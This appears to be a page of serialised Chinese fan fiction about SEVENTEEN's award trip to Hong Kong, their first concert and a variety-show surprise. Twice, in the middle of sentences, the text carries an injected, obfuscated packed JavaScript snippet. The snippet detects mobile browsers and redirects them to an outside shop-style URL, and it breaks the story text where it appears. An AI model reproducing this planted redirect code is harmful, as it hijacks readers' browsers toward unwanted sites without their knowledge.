阳光下,草地开阔,马匹在围栏边悠闲踱步。他走在前面,风微微吹起他银灰色的头发,身后跟着几个又兴奋又紧张的少年——属于济州岛的最后一天,就这样踏着马蹄轻缓的节奏,开始了。 姜里树翻身上马的动作很熟练,缰绳在手心轻轻一绕,便稳住了身下的白马。他先让马在场边缓步绕了两圈,适应彼此的节奏,而后小腿微微一夹,低声道:“走了。” 马匹的步子逐渐加快,从慢步转为流畅的小跑。风迎面扑来,将他额前的碎发向后吹散,露出光洁的额头和专注的眉眼。马蹄踏在沙地上的声音规律而清脆,哒哒、哒哒,像某种轻快的节拍。 他身体随着马的起伏自然晃动,肩背舒展,手臂放松,仿佛与马背的韵律早已融为一体。跑过弯道时,他稍稍倾身,白马默契地偏转方向,继续向前小跑。 马蹄声渐缓,姜里树轻轻勒住缰绳,目光掠过远处的草地,忽然想起稞稞——他养在祖母家的那匹俄国马,鬃毛浓密,眼睫长长,奔跑起来像掠过草甸的黑风。 徐明浩上马时脊背绷得笔直,像根小心翼翼的小白杨;崔瀚率则潇洒得多,还能抽空对镜头比耶。李硕珉一边骑马一边跟马说话:“马先生,我们慢点哦~”全圆佑安静得像在拍画报,只有文俊辉已经驾轻就熟地小跑起来,栗色头发在风里飞扬,还不忘高声喊:“哥!看我!” 姜里树见状轻扯缰绳,白马立刻会意,几个健步便追了上去。两匹马很快并行小跑起来,蹄声错落成轻快的节奏。 他侧头看向文俊辉,眼里带着笑意:“骑得不错啊。”风掠过两人之间,将他们的头发吹向同一方向。 两匹马小跑着回到场边,在仍在适应马背的孩子们身旁稳稳停住。白马轻轻晃了晃头,温顺地挨着徐明浩那匹栗色马站定。 教练拍拍手,把大家的注意力引过来:“记住,骑马时脚跟下沉,腰背放松,视线看向前方——”他边说边示范,几个孩子坐在马背上认真调整姿势。 姜里树骑着白马缓步绕到全圆佑身侧,轻声补充:“手握缰绳不用太紧,像这样轻轻带着就好。”全圆佑低头看了看自己攥得发白的手指,点点头不好意思地笑着,慢慢松开力道。 文俊辉在一旁骑着红棕马来回慢走,笑着说:“其实马都知道的,你越紧张它越不知道往哪走。”李硕珉听了之后,深吸一口气,故意挺直腰板,用夸张的播音腔说:“好的!马先生,我们现在是合作伙伴了!” 众人都笑起来,连他们身下的马匹也仿佛感染了这份轻松,步伐显得越发平稳自在。 等所有人都适应了马背的节奏,教练便领着他们来到一片开阔草坪上。“在这里可以稍微跑起来了——” “我先走一步啦。”话音未落,姜里树已轻夹马腹,朝孩子们扬眉一笑,白马长嘶一声,如离弦之箭般冲了出去。 “安怼!哥等等!”弟弟们见状纷纷催马跟上,草坪上顿时蹄声杂沓。徐明浩伏低身子紧握缰绳,文俊辉的栗色发丝在风中扬起,崔瀚率笑着喊“追上去!”,连全圆佑都策马加快了速度让马小跑了起来。 两名教练不紧不慢地跟在队伍侧后方,看着这群少年骑马追逐的身影,忍不住相视而笑。秋日阳光下,少年与马匹奔跑的剪影在草坪上拉长,欢笑与蹄声惊起草丛间栖息的鸟儿,扑棱棱飞向湛蓝的天空。 集合时,每个孩子脸上都带着运动后的红晕,眼里还闪着未尽兴的光。回去的车上,叽叽喳喳的讨论就没停过。 声音叠着声音,笑声撞着笑声,车厢里仿佛还回荡着草坪上的风与蹄声。有人靠着窗昏昏欲睡,嘴角却还扬着;有人手舞足蹈地比划,差点打到身旁的队友。 姜里树坐在靠后的位置,听着这片熟悉的喧闹,目光扫过一张张汗湿却发亮的脸。车窗外的济州岛正缓缓后退,而属于这个集体的温度,正满满地充盈在这辆行驶的车里。 以后这样的时光,是不是也可以多一点…… 33. 33.冷米饭?扬掉! 十一月末的仁川机场,空气里浮动着旅行特有的、混合了暖气与尘嚣的气息。 落地玻璃窗外天色灰蒙,停机坪上飞机起落不息,像某种规律的呼吸。广播声以韩英中日四语交替流淌,行李箱轮子碾过光洁地面的声音连绵不绝。 国际出发层入口不断吞吐着人,咖啡厅飘出烘焙的香气,免税店灯光通明,映亮一张张或疲惫或期待的脸。 而此刻,在某个登机口附近,十四个身影正聚在一起,像一群偶尔栖落在此的、喧闹而温暖的候鸟。 孩子们在候机区面对面坐成两排,正热热闹闹地用“MAMA”作诗,笑声时不时炸开一小片。姜里树没加入,独自坐在他们身旁靠窗的矮台子上,膝盖上摊着平板。 屏幕上显示的是香港‘长禾’酒店的预订详情。是他家旗下的产业,公司早已安排妥当。他快速浏览着套房楼层平面图,最终确认了视野开阔、隐私性好的高层区域,又标注了几处细节:确保楼层通道独立、电梯需专属刷卡、阳台朝向避开街道嘈杂。 窗外又一架飞机缓缓滑入跑道,轰鸣声被厚重的玻璃滤成沉闷的低音。他抬头看了眼那群闹作一团的孩子,低头在对话框里补上一句:“抵港后请先备好温水和常用药箱放房间。” 发送,锁屏。屏幕暗下去的瞬间,倒映出他微微勾着嘴角的侧脸,和窗外那片永不停歇的、属于机场的流动光影。十七个小时后,他们将站在香港MAMA的舞台上,而此刻的仁川机场,只是这场盛大喧哗之前,一个短暂的、喧闹的注脚。 飞机平稳飞行后,空乘开始分发餐食。姜里树想起登机前这群孩子还嚷嚷着“这次一定要尝尝飞机餐”,便趁着空乘推车临近时,轻轻拍了拍身边几个歪着头睡着的弟弟。 “胜澈,吃不吃?” “……吃。” “净汉呢?” “唔……要。” “知勋?” “……嗯。” 他沿着座位一排排轻声问过去,像在点一份份会打呼噜的菜单。一听到“吃”字,那些原本裹着毯子昏睡的脑袋便纷纷从椅背间冒出来,眼睛还没完全睁开,手已经摸索着去调直座椅靠背。 轮到崔瀚率时,姜里树还没开口,对方就闭着眼睛举起手:“哥,我要鸡肉的。” 姜里树挑眉:“你怎么知道有鸡肉?” “……我闻到了。” 笑声低低地漾开在两排座位间。餐车推来的暖光映着一张张睡意朦胧却隐隐期待的脸,餐盒掀开的细微声响、塑料刀叉的碰撞、满足的咀嚼声——在这片三万英尺高的寂静里,显得格外温暖而具体。 飞机落地,孩子们吃饱睡足,精神十足地随着人流走出接机口。公司安排的保姆车早已等在指定位置,然而还没走近,熟悉的呼喊声便如潮水般涌来—— “SEVENTEEN!SEVENTEEN!” “MINGYU啊!今天很帅气呢!” “VERNON!你真的很棒!” “Jeonghan啊!你的新发型很漂亮!很帅气哦!” …… 飞机出站口外里聚着不少粉丝,灯牌和手幅在人群间挥舞着。听到自己名字的孩子们眼睛一亮,纷纷朝那个方向挥手、鞠躬,脸上绽开明亮的笑容。但出口处人流渐密,为了不影响秩序,他们只能一边快步往前走,一边不断回头向粉丝们点头挥手致意,用口型说着“谢谢”。 姜里树走在靠后的位置,护着几个边走边回头招手的弟弟。直到所有人各自都顺利登上保姆车,车门缓缓关闭,窗外的呼喊声依然清晰可闻。车内不知谁对着窗外说了句:“大家辛苦了……”随即响起一片暖融融的应和。 载着孩子们的保姆车驶离机场,香港的晨光正从天际舒展开来,高楼轮廓在朝霞中逐渐清晰。车厢里渐渐响起细碎的交谈声,带着刚睡醒的慵懒,也带着即将踏上舞台的隐隐雀跃。 抵达酒店后,身着酒店制服的工作人员早已静候在专属通道入口。他们礼貌地躬身指引,领着成员们穿过静谧的走廊,直达高层专属电梯。 电梯平稳上行,门开后便是铺着厚绒地毯的私密楼层。工作人员轻声介绍房间分布、用餐安排及安全通道,随后为孩子们打开一间房间并将其他人的房卡都递到队长崔胜澈手中。 走廊尽头的落地窗外,香港白日的街景如画卷般铺展。孩子们拖着行李走进各自房间,开门时发出轻微的“滴滴”声响,一场旅途暂告段落,而属于MAMA的喧哗尚未开始,此刻只有满室宁静的阳光,与窗外这座城市温柔起伏的呼吸。 房间分配早已安排妥当,两人一间,既节省空间也方便照应。短暂的午休后,经纪人敲门声准时响起,提醒大家该出发前往MAMA典礼的彩排现场。 走廊里很快又热闹起来,有人边套外套边找鞋,有人揉着眼睛喝最后一口水。姜里树检查完每个房间没有遗漏的成员后,才带上自己的随身包跟上队伍。 电梯下降的瞬间,窗外香港午后的天光涌进来,照亮每一张逐渐褪去睡意、换上专注神情的脸。车内很安静,成员们闭目养神,小队长们低声核对流程。 从酒店到彩排现场这短短一段路,仿佛一条柔和的过渡带,将休憩状态缓缓切换至舞台模式。 彩排现场秩序井然,各团队按分配时段错开使用场地,并不显拥挤。导演组将动线安排得高效清晰,一组结束,另一组便无缝衔接上场调试设备。 SEVENTEEN的孩子们在专属时段里高效推进:走位、定点、配合镜头,每处细节都反复打磨。场边其他团队的艺人或工作人员偶尔驻足观看,又礼貌地匆匆离开,互不干扰。 时间以节拍为单位流逝,当导演终于喊出“好,这部分可以了”,台下才响起小小的、放松的吐气声。孩子们陆续走下舞台,头发汗湿,眼里却闪着光。 彩排是演出的骨架,而此刻,骨架已被他们稳稳搭建起来。 “现在时间还早,要不要去逛逛?”崔胜澈收到经纪人关于拍摄“香港特辑”的示意后,转头朝跟在背后的成员们问道。 话音刚落,好几双眼睛瞬间亮了起来。“要!”“去逛夜市吧!”“想吃地道点心!”大家七嘴八舌的提议顿时热闹了起来。 姜里树看了眼时间,又望向那一张张期待的脸,唇角微扬:“那就抓紧时间,别走散。”他边说边将外套拉链拉到顶,窗外香港的霓虹已开始流淌,像在召唤一场即兴的、属于夜晚的冒险。 一大群人浩浩荡荡地出发了。经纪人将便携摄像机递到崔胜澈手里,又叮嘱了几句注意安全,便先行返回酒店。今晚的动线,全权交给了这群少年。 队伍里有三个重国成员,其中两人能说流利的粤语,问路、点餐、沟通都没问题。夫PD举着摄像机倒退着走,镜头扫过霓虹闪烁的招牌与拥挤的街巷;文俊辉在一旁用粤语向摊主帮成员们买着鱼蛋,软软的发音引得老板笑弯了眼。 姜里树走在队伍最后面,文俊辉带着崔胜澈走在最前面,时不时清点人数,像三只默默圈住羊群的牧羊犬。队伍虽庞大,却始终没散。前面的人停下看路标,后面的人就默契地围拢;有人被小吃吸引,立刻有三四个脑袋一起凑过去研究菜单。身上揣着哥哥兑换好的零花钱想吃什么都可以,也不怕吃不完。 夜晚的香港街头,就这样流淌过一团温暖而喧闹的年轻生气。镜头摇晃间,是灯火,是笑语,是沾着酱汁的嘴角,也是十四个紧紧相依的背影。 不知何时,他们才发现身后不知何时跟了几位“英熙”——她们很有礼貌地保持着距离,不开闪光灯,只安静跟拍,偶尔传来极力压抑的小小惊呼。 姜里树一直走在队伍末尾关注着弟弟们,起初并未察觉。直到李灿挖了一勺甜品递到他嘴边:“哥,尝尝这个!”他低头吃下时,才听见身后传来一阵细细的抽气声。 回过头,就看见几个女孩捂着嘴,眼睛睁得圆圆的,脸上满是激动的红晕。姜里树朝她们轻轻点了点头,李灿也笑着挥了挥手。其中一个女孩颤抖着手展开一张手幅,上面写着“Jeonghan”。姜里树了然,拍拍李灿的肩膀,低声说:“去悄悄把你净汉哥叫来。” 不一会儿,尹净汉笑眯眯地从姜里树背后探出身子,朝女孩们眨了眨眼。她们瞬间睁大眼睛,用力点头,却仍乖巧地没有上前。 一行人就这样你一口我一口,将小吃街逛了个遍,连带着不断被李灿和崔瀚率投喂的几位英熙们。肚子填得饱饱的,相机里也装满了摇晃却鲜活的画面——有霓虹,有食物升腾的热气,有少年们挨在一起的背影,也有远处那几双始终温柔跟随的、亮晶晶的眼睛。 在街边拦出租车时,姜里树忽然转身,朝一直跟在后方的那几位英熙招了招手。女孩们先是一愣,不敢相信地指指自己,见他点头确认,才又惊又喜地小跑上前,被十四个少年围在中间时,脸颊红得像熟透的苹果。 “太晚了,女孩子单独回去不安全。”姜里树说着,已拦下一辆出租车,提前付好车费,又弯腰用粤语向司机仔细交代了目的地。他回头看向女孩们,声音温和却认真:“上车吧,到了家在官咖发条消息。” 几个女孩抱着手幅连连鞠躬,眼里闪着感动的光。车门关上前,还有人从车窗探出头,用力挥着手喊道:“欧巴们再见!” 出租车缓缓汇入车流,尾灯在夜色中渐行渐远。成员们静静站了一会儿,直到崔胜澈拍拍手:“我们也该回去啦!”大家这才转身走向另几辆等候的车,夜风里不知谁轻声说了句:“真好。” 车厢摇晃中,有人靠着窗轻声哼起未完的旋律。香港的夜依旧繁华流淌,而某个角落,或许正有几颗年轻的心,因为一场温柔的护送,柔软地亮了一整夜。 回酒店的路上,夜风微凉,李知勋靠在姜里树的肩膀上小声哼起歌来,调子软软的,融进香港深蓝的夜色里。 晚上临睡前,姜里树习惯性刷了下官咖,一眼就看到了那几位英熙发的动态。照片里是他们吃夜宵的侧影,配文是:“谢谢RISU老婆~?感受到了像妻子一样温柔~我们安全到家啦~” “妻子??那嫩??”姜里树猛地从被窝里弹坐起来,眼睛瞪得圆圆的。 “哈哈哈哈哈哈——”隔壁床的文俊辉瞬间爆笑,裹着被子滚成一团。 果然,第二天一早,所有成员都知道了他们里树哥多了个新称呼:“英熙们的妻子”。从早餐桌到化妆间,不时有人捏着嗓子模仿:“RISU老婆~?”,然后引发一阵欢乐的哄闹。 姜里树:“呀!#你们想见到生气的‘妻子’吗?” 彩排、走位、调整细节,时间在忙碌中流过。傍晚,典礼即将开始,SEVENTEEN全员身着剪裁合体的西装出现在红毯。深色布料衬得身姿挺拔,领带或领结一丝不苟,可每一寸轮廓都写着“舞台准备好了”。 待来到属于他们的待机室,姜里树对着镜子调整袖口,镜中映出身后弟弟们互相整理衣领、检查耳麦的身影。喧嚣被关在门外,此刻的待机室里只有衣料摩擦的细响,以及某种无声的、紧绷而明亮的期待。 灯光骤暗,剧情拉进,音乐前奏响起。 十四个身影在舞台中央定格,像十四颗骤然点亮的星。 下一刻,鼓点炸开,刀群舞整齐划一地撕裂空气,力道、角度、表情,每寸细节都在诠释何为“舞台吞没者”。镜头扫过汗湿的额发、绷紧的颈线、踩碎节拍的脚尖,台下应援声如潮水般轰然掀起: “SEVENTEEN——!!!SEVEN ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17205973|197337||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' TEEN——!!!” 呼声几乎要掀翻场馆顶棚。姜里树在走位间隙瞥向台下,那片SEVENTEEN灯牌汇成的一小片光芒正随节奏澎湃涌动。他转身跃起,落地时气息未乱,耳麦里传来队友稳定的呼吸声与台下近乎嘶哑的呐喊——这一切交织成最熟悉的战场协奏。 副歌再临,全员合音如一道光柱劈开喧嚣。李知勋的高音清亮攀升,权顺荣的舞蹈发力如弓满弦,崔胜澈的眼神穿过镜头直抵人心。而台下,每一句跟唱、每一次挥臂、每一声呐喊,都在说:我们看见你们了。 音乐收束,灯光骤亮。十四人立于舞台中央,喘息未平,胸膛起伏。掌声与欢呼如雷滚过,他们鞠躬,起身,眼神交汇时里有汗、有笑、有光。 今夜香港的舞台,被烫下属于SEVENTEEN的深刻的印记。 “今夜,MAMA最佳男子新人奖的获得者……” “SEVENTEEN!” 主持人刻意拖长的尾音悬在空气里,台下SEVENTEEN的孩子们还凑在一起小声说笑,隐约听见好像有人在喊团队名,也没反应过来,直到工作人员小跑着过来,急切地拍他们的肩:“是你们!快上台!” 一群少年这才如梦初醒,慌慌张张地起身,一路鞠躬小跑上舞台。从颁奖前辈手中接过沉甸甸的奖杯时,好几个人的表情还是懵的。 作为SEVENTEEN队长的崔胜澈发表获奖感言时,话筒在颤抖的手间传递:“呃……真的没想到……感谢公司,感谢成员们……”词句组织得有些凌乱,却因为那份真实的茫然与惊喜,反而让台下的笑声与掌声更加热烈。 姜里树轻抚崔胜澈的后背,和他一起站在话筒前,深吸了一口气。指尖微微收紧话筒,触感冰凉。 他开口,先用中文,声音起初有些发颤:“感谢MAMA,感谢所有支持SEVENTEEN的人……”语句很稳,可尾音里仍压着一丝不易察觉的波动。 顿了顿,他切换成粤语,语调稍稍放缓,像在对自己、也对这片土地轻轻诉说:“这个奖,对我们真的好重要。多谢每一位陪我们行到今日的你们。” 灯光落在他低垂的睫毛上,投下浅浅的影。台下安静着,背后偶尔有小声的抽泣与压抑的欢呼。 他说完最后一句“我们会继续努力”,带着啜泣的孩子们微微躬身,再抬眼时,眼底那层薄薄的水光已被弯起的眼角化开,融成一片明亮的、柔软的坚定。 姜里树转身走回成员中间,被无数双手轻轻拥抱、拍抚。喧哗声中,他听见有人用粤语大喊“加油啊!”,也有人用中文一遍遍重复“SEVENTEEN——”。 语言或许不同,情感却在此刻汇成同一种温度,滚烫地、真实地,漫过这个属于他们的夜晚。 直到回到后台,冰凉的奖杯贴上掌心,不知是谁先“啊”地叫了一声,然后所有人像被按了开关一样,突然抱成一团跳了起来——“我们得奖了!真的得奖了!” 欢呼声炸开在狭小的后台走廊,奖杯被无数双手传递、抚摸、流着泪紧紧抱住。那张方才在台上还强装镇定的脸,此刻终于彻底绽开毫无保留的、闪闪发光的笑容。 回到酒店后,姜里树去接他姐…… 两人推开门时,正看见几个孩子围在一起,手里捧着几盒冷掉的米饭,正小声商量着怎么分。 “?姜里树你活不起了,让你弟弟们在这儿吃冷米饭?”姜南与脚步一顿,冷笑着扭头看向身后的弟弟,中文里压着火。 “什么冷米饭?”姜里树绕过她,这才看清弟弟们手里的东西,眉头蹙起,“你们自己点的?” “安怼……”徐明浩小声开口,其他孩子也注意到姜南与沉下来的脸色,“是公司工作人员拿给我们的……” “呵,”姜里树气笑了,视线转向他姐,这哪里是他的锅,他就下楼去接了一下人的功夫,“老姐~得了奖就让我们吃冷米饭?就算没得奖也不至于这么对待吧? “……”姜南与用胳膊肘狠狠杵了一下阴阳怪气的姜里树,她攥紧了手机,指节微微发白。是哪个没眼力见的擅自搞这种“苦情戏码”?公司预算明明给足了,这群孩子刚拿下奖杯,回来连口热饭都吃不上? 她深吸一口气,再开口时语气已恢复平静,却带着不容置疑的力度:“现在,所有人放下手里的东西。十分钟后,热餐会送到房间,吃好后收拾行李,楼下的大巴车在等着你们,今晚在深圳住宿,明天你们玩一天再回程。”她瞥了眼弟弟,“你,跟我出来一趟。” 走廊灯光下,姜南与拨通电话,声音不高,却字字清晰:“SEVENTEEN团队工作人员自作主张让孩子们吃冷米饭的人现在查出来立刻换掉。以后他们的所有餐饮,直接对接我的办公室。” 挂断电话,她看向姜里树,轻轻叹了口气:“抱歉,是我的疏忽。” 姜里树摇摇头,知道这件事并非姐姐的本意。 “还是先让他们开心一会儿吧,”姜南与听着门内传来闹翻天的笑闹声,不由也弯起嘴角,“晚餐很快就送过来。” 夜色渐深,而热腾腾的餐食香气,正顺着走廊慢慢弥漫开来。 在驶往深圳的商务大巴车上,姜里树侧过头,对坐在身边的文俊辉轻声交代:“俊辉,一会儿到地方你先别下车,司机会直接送你回家。好好陪陪家人,等团聚好了,再来找我们集合。” “和爸爸妈妈说一下这次我们就不去打扰啦,你们好好的聚一下,下次我们再去拜访他们。” 文俊辉眼睛微微睁大,随即漾开柔软的笑意:“谢谢哥。” 姜里树拍了拍他的肩,没再多说,目光转向窗外流动的街景。车厢里其他成员或睡或聊,都对这个小小的、温柔的安排心照不宣。 34. 34.这话似曾相识? “出道后首次演唱会——” 光是念出这几个字,就像有什么哽在喉咙深处,热热地往上涌。后台狭窄的走道里,有人已经背过身去,有人低头用力眨着眼睛努力恢复着平静。 崔胜澈抬起手,指节揉了揉不知是不是同成员们一样湿润的眼角,声音却稳得像锚:“准备了这么久,今天,我们要把一切都留在舞台上。” 没人应答,只有一片深深浅浅的呼吸声,和衣料摩擦的细响。李知勋忽然伸手,握住了旁边姜里树垂着的手掌。夫胜宽把额头抵在徐明浩的肩上,很小声地吸了吸鼻子。 姜里树站在人群边缘,目光扫过每一张年轻而紧绷的侧脸。然后他走上前,什么也没说,只是牵着李知勋的手一起张开手臂……一个,又一个,温热的身体靠过来,手臂缠着手臂,额头抵着肩膀。十四个心跳,在这个昏暗的、充满灰尘与期待气味的空间里,撞成同一道沉重的、雀跃的鼓点。 上台前,崔胜澈让孩子们像之前的每一次,彼此握住身旁成员的大拇指。一只又一只的手握上来,直到十四个人围成一个完整的圆,拇指被紧紧握住像锁扣,像承诺,像无声的电流穿过十四个相连的体温。 呼吸在寂静中清晰可闻,有人闭着眼,有人看向圆心,有人盯着彼此交握的手。 “SEVENTEEN——”崔胜澈的声音不高,却像投进湖心的石子。 “怀挺!!!” 回应迸发出来,短促、有力、滚烫。 拇指在掌心里用力一压,随即松开。圆散开成奔赴舞台的队列,而那声“怀挺”还悬在空气里,成为他们背对彼此冲进光海前,最后一道温暖的锚点。 舞台下的黑暗,被无数应援棒点亮……不是星星点点,而是绵延起伏的、汹涌的光海。 色彩统一的亮光层层铺开,从内场漫到山顶,像一整片温柔的星群。 他们站在台上,有那么几秒,只是静静看着。 舞台上摆好动作的李硕珉张了张嘴,没发出声音。金珉奎也眨了眨眼,又用力眨了一下。徐明浩微微仰起脸,光落进他亮得惊人的眼睛里。 然后,音乐前奏如心跳般炸开。 光海瞬间沸腾,欢呼声掀起巨浪,吞没了整个场馆。他们在这片属于自己的宇宙里起舞、歌唱、奔跑,每一次挥臂都掀起新的光潮,每一声高音都点燃更炽热的回应。 汗水滑落时,姜里树望向台下,那里没有模糊的面孔,只有一片澎湃的、呼吸同频的明亮存在。 他眨了眨眼睛,原来这就是梦想被具象化的模样,不是遥不可及的幻影,而是此时此刻此地,万千光芒为他们一人一簇,亲手铺就的、通往云端的天梯。 安可时,他们肩并肩站在舞台边缘,用力挥手。 光海温柔摇曳,像在说:看见你们了,一直看着呢。 而他们抬头望向远方时,眼里的光,比台下那片海,还要亮。 音乐如河流奔涌,他们化身成光上的舟。从主舞台跃至延伸台,沿着跑道奔向四角的副台。每一步都踩在节奏的刀刃上,每一次转身都掀起台下新的光浪。 崔胜澈在左翼高台振臂,光海便朝他那侧倾倒;权顺荣滑步至右方边缘,那片暗处瞬间被尖叫与光亮点燃。李知勋站在中央升降台上吟唱,声浪托着他,光也裹着他,仿佛整个场馆的心跳都悬在他微颤的尾音里。 他们穿梭、停留、奔赴,如十四颗灼灼生辉的钻石,以彼此为光,以千万个“英熙”为芒,照亮这台舞台的每一个角落。舞台没有死角,因为他们不允许。 光该照到的地方,他们必定抵达;声音该抵达的角落,他们定将脚步印上。 最后一曲前奏落下时,十四人重新聚拢在中央。喘息交叠,汗沿着下颌滴落,而台下那片光海已不分彼此,连成一片汹涌而温柔的、完整的圆。 灯光骤暗,又骤亮。 他们并肩而立,看向这片为自己沸腾的宇宙,最后深深鞠躬。 光在此刻有了形状。 是他们奔跑的轨迹,是他们挺直的脊梁,是他们终于亲手握住的、名为“舞台”的太阳。 “举办得好啊,但是真的别这样了……” 不是抱怨,只是累到极处后一声模糊的叹息。演唱会太好,好到每一个细胞都叫嚣着燃烧殆尽;应援太热烈,热烈到连骨髓都记住了那持续数小时的地动山摇。 连续两日的演唱会落幕,舞台灯光却未曾真正熄灭。在英熙们散场之后,他们转身便投入下一轮的彩排,汗水浸透未干的衣衫,音乐再次响起。只因明天,又是一场奔赴。 此刻,休息室像战后暂时停火的阵地。 有人仰面瘫在沙发上,连手指都抬不起;有人蜷在房间的一角,呼吸又深又缓;连最活泼的那几个也失了声,窝在角落,眼神放空,只有胸膛还在剧烈起伏。 姜里树靠在墙边发着呆,想着自己为什么一定要当爱豆来着,照顾孩子们的话经纪人不是更好吗,这还得感谢胜澈哩天台那一撞,把他想当经纪人的心给“撞死”了。 他环视四周,身旁的李知勋与他并肩靠在墙边,双眼轻合,眉心仍微微蹙着。崔胜澈枕着姜里树的腿,眼上覆着对方的手,自己抱着胳膊短暂休息;权顺荣将脸埋进沙发抱枕,后颈露出一片汗湿的痕迹,背上还躺着一只徐明浩;崔瀚率直接躺倒在地板上,胳膊搭在眼睛上,任由夫胜宽把头压在他的肚子上。 空气里漂浮着汗、化妆品、能量饮料和某种过度透支后的甜腥气。没有人说话,连呼吸都放得很轻,仿佛稍一用力,就会惊碎这来之不易的、濒临散架的平静。 直到门外传来经纪人哥轻轻的敲门声:“各位,车准备好了。” 几秒钟的寂静后,才陆续响起衣物摩擦声、沉重的起身声、和一两声压抑的闷哼。 他们互相搀扶着站起来,像一群刚打完仗的伤兵,脚步虚浮却依旧并肩,慢慢朝门口挪去。灯关上的瞬间,有人极轻地笑了一声,气音般飘在黑暗里… “……值了。” 接下来的演唱会依旧全力以赴,汗水浸透衣衫,呐喊烧灼喉咙。一切如常,直到他们推开幕后化妆间的门。 “哇,这是什么……?” 房间中央立着一个巨大的、色彩鲜艳的庆贺花圈。缎带飘飘,祝福的话语写得工整漂亮,在灯光下显得格外隆重。 孩子们愣了一下,随即好奇地围了上去。 “去旅行吧,SEVENTEEN们!”第一个进门的权顺荣凑近缎带念出声,脸上还带着一丝茫然。 崔胜澈紧跟着走进来,目光先扫过花环四周……不出所料,各个角落都藏着对准他们的镜头。 “该不会……是要去旅行吧?”权顺荣忽然联想到什么。 “去旅行吧!SEVENTEEN们!去旅行!!!”崔胜澈一下子激动起来,满脑子只剩下能够去旅行的雀跃。 等所有成员都进了化妆间,站在最前面的几人发现了花环上垂落的卷轴。他们一个个抽出来念着上面的内容,越读越觉得耳熟……这分明是前不久接受制作组采访时,他们自己说过的话啊。 姜里树一直站在最后,听着成员们七嘴八舌地念着卷轴上的愿望,“修学旅行”“吃吃睡睡”……起初还都挺正常。 他忽然察觉有人一直躲在背后,一扭头就对上金珉奎心虚闪烁的视线。不知何时起,这人就缩在他身后,半步也不往前靠。 “?”姜里树挑起眉,递去一个询问的眼神 “(小狗拜托.gif)”金珉奎眨眨眼,表情里写满了无声的恳求。 “啊咔咔, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17205974|197337||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是里树的!”崔胜澈眼尖,从花圈鲜艳的红绸底下抽出属于姜里树的那一卷系着丝带的卷轴。他手指灵活地解开结,缓缓展开…… 洁白的纸面上,只有一行墨迹温润的手写韩文:“SEVENTEEN的孩子们都在身边就好。” “哇——就知道里树哥你最爱我们了!”夫胜宽抱住姜里树的胳膊使劲的贴呀贴。 李灿眨眨眼,小声重复:“都在身边就好……” 李知勋跟着笑了笑,指尖无意识地卷着衣角。 孩子们望向姜里树,眼睛亮晶晶的。 姜里树自己也愣了一下,接过卷轴仔细看了看笔迹,眉眼渐渐软了下来。他抬头,对上十几双望向自己的眼睛,那些眼里有笑、有好奇、有温柔的波澜。 “嗯,”他点点头将卷轴轻轻卷好,握在手里在孩子们面前摇了摇卷轴,“都在身边就好。” 大家继续抽取花环上的卷轴。紧挨着姜里树那份的,便是金珉奎的。崔胜澈早就好奇这个平日里总在不经意间闹出点小状况的弟弟,究竟会写下什么心愿。 没等他伸手,金珉奎自己倒是抢先一步抽出了卷轴。可刚看清上面的内容,他的表情就变得更心虚了。 显然,金珉奎自己也早就想起采访时随口说出的“极限冒险”那番话。 眼看崔胜澈伸手来抢卷轴,他下意识想躲,却根本招架不住。卷轴被抽走展开,身后的成员们凑近一看,纸上清清楚楚写着“极限冒险”四个字。化妆间里顿时响起一片“愤怒”的讨伐声。 不太意外,是金珉奎能干出来的事。 “接下来让我们自己单独去旅行吧!”崔胜澈很快又冒出了新念头,对着镜头的方向认真补充,也请制作组能务必帮他实现。 那边崔胜澈还在畅想着专属旅行,这边姜里树已经默默盘算起来,如果真去孤岛求生,到底该带些什么才好。他又突然幻想到他们穿着草裙,举着木棍围着篝火跳舞的样子…… 咦惹~ 还在幻想着,他们就从花环最上面抽出了新的卷轴,是制作组PD的卷轴,上面写着“希望美好的一天可以实现SEVENTEEN们所想要的一切。” “哇——是‘美好的一天’!”他们也要拍摄‘美好的一天’了吗?这是孩子们关注的。 ‘哇——实现他们想要的一切!’这是姜里树关注的,场面似曾相识啊兄弟们!制作组是指实现他们刚刚所说出的一切吗?!‘极限冒险?’‘钓鱼?’ 化妆间里顿时喧腾起来,欢呼声此起彼伏,他们只知道自己终于又要去旅行了! 只有两个人游离在这片热闹之外。 一个是还没完全听懂理解兄弟们为何如此兴奋的徐明浩,虽然笑着,但目光里带着淡淡的疑惑。 另一个则是已经对接下来的“行程”一眼望到头的姜里树,他看着眼前欢呼的成员们,嘴角勉强维持着笑意,眼神却渐渐放空。 ‘美好的一天’,到底是谁的美好的一天呢? 夜深了,宿舍里还浮动着隐约的嬉闹声。权顺荣举着随身摄像机,像只闲不下来的仓鼠,在各个房间之间穿梭着,镜头时而探进半掩的房门。他一会儿下到二楼,记录下谁正瘫在床上发呆;一会儿又溜回三楼,逮住某个正偷偷吃零食的成员。脚步声轻轻,画面晃晃悠悠,属于SEVENTEEN的夜晚,就这样被他悄悄收进了闪烁的光里。 “hiong~你这都准备了些什么啊?”新任李硕珉PD将镜头对准姜里树摊开的行李箱。 “一些小东西……”,一些关键时能保住你们小命的东西,姜里树顿了顿,轻描淡写地带过,没把后半句说出口。他默默想着,明天一定要穿件口袋足够多的衣服裤子。 他记得刚刚李灿过来说过明天的天气会很冷来着? 35. 35. 被“放养”了。。。 现在他们总算明白,这“美好的一天”究竟是谁的了…… 